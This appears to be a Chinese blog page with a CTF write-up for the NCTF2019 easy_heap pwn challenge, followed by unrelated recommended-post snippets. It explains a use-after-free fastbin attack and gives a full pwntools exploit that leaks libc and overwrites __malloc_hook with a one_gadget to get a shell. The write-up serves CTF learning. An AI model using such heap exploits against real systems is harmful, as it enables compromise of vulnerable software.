【Pwn】NCTF2019 easy_heap

[ZJCTF 2019]EasyHeap [ZJCTF 2019]EasyHeap 使用checksec查看: 一道堆题,关闭了PIE,可以考虑覆盖got表来获取system getshell 拉进IDA中查看: 标准的菜单,main()函数就不贴截图了,menu()函数也没有营养,图也不贴了, 先来看看create_heap(): heaparray[i]:存放 chunk 的地址。 read_input(heaparray[i], size):向 chunk 写入 size 大小的内容。 heaparray是存放在bss段上的 edit 阅读详情

查看程序保护。
在这里插入图片描述分析程序,漏洞在free之后指针没置0,导致uaf;堆的分配大小做了限制0x50该变量在bss段上,刚好bss段上存放了用户名信息,所以先考虑在bss上伪造堆块,进行一次fastbinattack,分配到bss段,修改限制大小,去掉限制之后就是常规操作了,unsortbin泄露libc,再进行一次fastbinattack,getshell。

from pwn import *

io=remote('xx.xx.xx.xx',xxxxx)
libc=ELF('./libc-2.23.so')

def add(size,data):
    io.recvuntil('4. exit\n')
    io.sendline('1')
    io.recvuntil('heap_size?')
    io.sendline(str(size))
    io.recvuntil('heap_content?')
    io.send(data)

def free(index):
    io.recvuntil('4. exit\n')
    io.sendline('2')
    io.recvuntil('heap_index?')
    io.sendline(str(index))

def show(index):
    io.recvuntil('4. exit\n')
    io.sendline('3')
    io.recvuntil('heap_index?')
    io.sendline(str(index))

fake=p64(0)+p64(0x41)
fake_ad=0x00602060
io.send(fake)

add(0x30,'aaa')#0
add(0x30,'bbb')#1
free(0)
free(1)
free(0)
add(0x30,p64(fake_ad))#2
add(0x30,'ccc') #3
add(0x30,'ddd') #4 
add(0x30,'a'*8+p64(0x200)) #5 fake

#unsortbin 
add(0x100,'eeee')#6
add(0x100,'fffff')#7
free(6)
show(6)
io.recvuntil('heap6: ')
ubin=u64(io.recv(6).ljust(8,'\x00'))
print(hex(ubin))
libc_base=ubin-0x3c4b78

#fastbinattack
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0xf1147
add(0x60,'mmm')#8
add(0x60,'kkk')#9
free(8)
free(9)
free(8)
add(0x60,p64(malloc_hook-0x23))#10
add(0x60,'lll')
add(0x60,'qqq')
add(0x60,'a'*0x13+p64(one_gadget))#malloc_hook
print('done')

#getshell
io.sendline('1')
pause()
io.sendline('16')
io.interactive()

BUUCTF Pwn [ZJCTF 2019]EasyHeap unlink+freehook做法 后续修改0x6020E0的位置为freehook 再修改一次 让其指向system 最后free掉chunk2 就能执行binsh了。delete_heap函数已经将指针清零 无UAF。edit_heap允许自己输入读取字节 存在堆溢出。同时 存储的指针位于bss段。 阅读详情

相关推荐

图相似度模型(论文篇)

图相似度模型

weixin_43702653的博客 5748

萌新详解[ZJCTF 2019]EasyHeap,带你走进pwn世界

安全保护 IDA查看 main int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax char buf; // [rsp+0h] [rbp-10h] unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); se

qq_36495104的博客 2246

Realtek 10GbE芯片组解析:低成本高速网络方案

10GbE(万兆以太网)技术通过提升网络带宽,显著改善了数据传输效率,成为现代网络架构的核心组件。其工作原理基于高速串行通信协议,通过优化信号处理和编码技术实现低延迟、高吞吐量。在技术价值上,10GbE不仅满足数据中心和企业网络的高需求,还逐步渗透到消费级市场,推动家庭和小型企业的网络升级。应用场景包括NAS存储、视频编辑工作站和云服务接入等。Realtek最新发布的RTL8127、RTL8159和RTL8261C芯片组,以低功耗和低成本优势,进一步降低了10GbE的普及门槛。这些芯片支持PCIe Gen4

weixin_36427956的博客 587

LCTF2018 PWN easy_heap学习(以及tcache基础认识)

适合于广大像我一样的pwn爱好者

a2590035252的博客 762

sap 标准委外和工序委外_SAP PP 工序委外详解

在SAP里有外包和外协两种:外包:指把原材料发出去,扣减库存,然后供应商加工生产,最后再作为成品入库。主要是在MM模块下实现的。对应的英语叫Subcontracting。外协:一般是指某种工序外协,在工艺路线里设置某个工序为外协后,系统自动会产生一个采购订单,一般是指采购某种服务。采购回来后再继续本公司的其他工序。主要是在PP模块下实现的。对应的英语叫Processing。2.当有委外加工的业务流...

weixin_26849971的博客 4579

pi-star图形界面安装指南

pi-star图形界面安装指南,MMDVM热点安装,树莓派3B+热点

blueisman的专栏 1909

[ZJCTF 2019]EasyHeap-patchlibc-调试

后面只用关注伪造的fd地址0x6020C8即可,也即是heaparray_addr - 0x18。heaparray_addr = malloc(chunk0)这里获得的就是&chunk[0];1、伪造chunk[2]=[全局地址-3];chunk[3] = [全局地址-2]通过修改chunk[3]的值 ->控制 &chunk[0] ->4、给任意地址填入内容,chunk[0] = [任意内容]3、填入控制任意地址,chunk[3] = [任意地址]chunk[3] ->实现[任意地址]写。

个人笔记 786

深入掌握英飞凌TriCore中断向量表

摘要:本文探讨了英飞凌Tc277芯片中断机制的原理与实现,重点解析了中断向量表基地址的链接文件定义方式、BIV寄存器的初始化过程以及每个中断条目的32字节空间分配规则。通过分析中断向量号(1-255)的计算方法,阐明了中断条目跳转地址(如STM0中断向量号37对应0x800F04A0)的生成逻辑。文章还揭示了.map文件中14字节跳转指令的组成原理,以及最终通过a14寄存器跳转到实际中断函数(如stm0Sr0ISR)的执行流程,为嵌入式开发人员理解中断处理机制提供了清晰的技术路径。

IT技术猿猴的博客 1713

pwn入门堆题[ZJCTF 2019]EasyHeap

buuctf上一道简单的堆题wp,希望对新手有帮助(虽然我也只是刚学不久的新手啦QAQ),非常简单的利用方式,比uaf还简单(看wp前建议去wiki了解一下unsortedbin的相关知识)。

m0_73575406的博客 847

股票分时数据获取-东方财富

获取下股票分时数据,分时均价下线,分时成交额等,用于量化t0交易条件还是很不错了的。

meiaoxue1234的博客 1万+

STM32CubeMX——循迹传感器TCRT5000的使用

前言 人生如逆旅,我亦是行人。 ————苏轼《临江仙·送钱穆父》 一、介绍 TCRT5000描述:(带有晶体管输出的反射光学传感器) TCRT5000是一种反射式光学传感器,它包括一个红外发射器和一个3.5mm引线封装的光电晶体管,可阻挡可见光。还具有1mA 典型被测输出电流,2.5mm峰值工作距离,可应用传感与仪表,工业等行业。 TCRT5000具有紧凑的结构,其中发射光源和探测器布置在同一方向,通过使用来自物体的反射红外光束来感知物体的存在。工作波长为950毫米,探测器由光电晶体管组成

W_Oilpicture的博客 1万+

(补题)HITCON 2018 PWN baby_tcache超详细讲解

好久没有更新了,这道题利用的是IO_FILE输出的方式进行泄露libc地址,需要结合着上一篇[好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc]一起来看,最近参加了安网杯,其中的pwn题也是利用IO_FILE进行输出的题,很幸运获得的第二名的成绩,大佬带飞~ 得抓紧把好好说话系列写完啦~

hollk’s blog 2454

UG NX二次开发(C++)-NX2406系列二次开发编程模板配置

前面已经写了有关UG NX二次开发编程模板配置的文章,但是由于NX2406/2412系列的版本中,在UGOpen文件夹中没有了vs_files文件夹了,而是采用了VSIX Project的方式配置(其适用于VS2019),在VS2022中不能正确的配置。我结合以前配置模板的经验和现在的配置方式讲一下NX2406系列二次开发编程模板的配置。我把相应的编程模板放在资源文件UG NX二次开发编程模板(基于NX2406版本制作)中,方便大家下载使用。

GimiGimmy 2640

buuctf [ZJCTF 2019]EasyHeap题解

【代码】buuctf [ZJCTF 2019]EasyHeap题解。

2501_92438811的博客 274

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

BUUCTF [ZJCTF 2019]EasyHeap

pwn新手小白,写完题后整理的一点点思路,有借鉴其他wp,有任何问题各位师傅可以提出,接收批评指正

2401_88087539的博客 546

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

[BUUCTF]-PWN:[ZJCTF 2019]EasyHeap解析

这是buu上的一道堆题,话不多说直接看保护和ida这里有一个要注意的点,那就是它是partial RELRO,Full RELRO开启说明got表不可写,而这里没有,这是我们解题的一个前提。然后看ida。这里不过多解释,主要还是创建堆块,释放堆块,edit堆块,但是没有打印堆块内容的函数。还有一个要注意的点,那就是他有system函数,并且参数似乎可以利用。虽然在我解题的过程中这个函数压根得不到flag,但我还是想从这一角度讲解一下解题思路,所以我分两个角度来讲。

2301_79326813的博客 1071

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

[NCTF2019]SQLi

regexp注入

weixin_68906365的博客 387

BUUCTF-[ZJCTF 2019]EasyHeap1

经典堆菜单。

Rt1Text的博客 1240

LCTF 2018 pwn easy_heap

LCTF 2018 pwn easy_heap,off-by-one,null-byte-overflow

hanabi_sh 932

[ZJCTF 2019]easyheap

poc为利用unlink攻击的脚本,并没有写很多细节,如果不懂unlink攻击,可以看到最后链接的博客学习一下再来看这篇博客

2301_81060697的博客 766

[NCTF2019]True XML cookbook

打开环境,看到熟悉的页面,和前面的[NCTF2019]Fake XML cookbook页面一样,应该也是XXE漏洞,这里再介绍一下XXE漏洞: XXE(XML External Entity Injection)全称为XML外部实体注入。 XML是什么? XML指可扩展标记语言(EXtensible Markup Language),其设计宗旨是传输数据,而不是显示数据,用来结构化、存储以及传输信息,它没有预定义的标签。XML 和 HTML 之间的差异是什么? 设计目的不同:XML 被设计用来传输

qq_52907838的博客 3210

[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap

[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap 思路 我们第一个想法肯定是执行l33t这个函数,事实证明被摆了一道。没有结果, 但是我们有system函数我们可以将其放入我们可以操控的函数,比如printf、puts、gets、free等函数的got表,通过传入/bin/sh来解决。利用uaf就可以达到其目的。 exploit from pwn import * context(os='linux',arch='amd64',log_level='debug') p = remot

Y_peak的博客 1188

BUUCTF [NCTF2019]childRSA(费马小定理)

[NCTF2019]childRSA(费马小定理) 题目 from random import choice from Crypto.Util.number import isPrime, sieve_base as primes from flag import flag def getPrime(bits): while True: n = 2 while n.bit_length() < bits: n *= choice(primes) if isPrime(n + 1): return n

晓寒的博客 5031

BUUCTF pwn——[ZJCTF 2019]EasyHeap

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 466
上一篇: 【Pwn】NCTF2019 pwn me 100 years! (Ⅲ)
下一篇: 【Pwn】2019安洵杯线上赛 fmt32 && fmt64
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值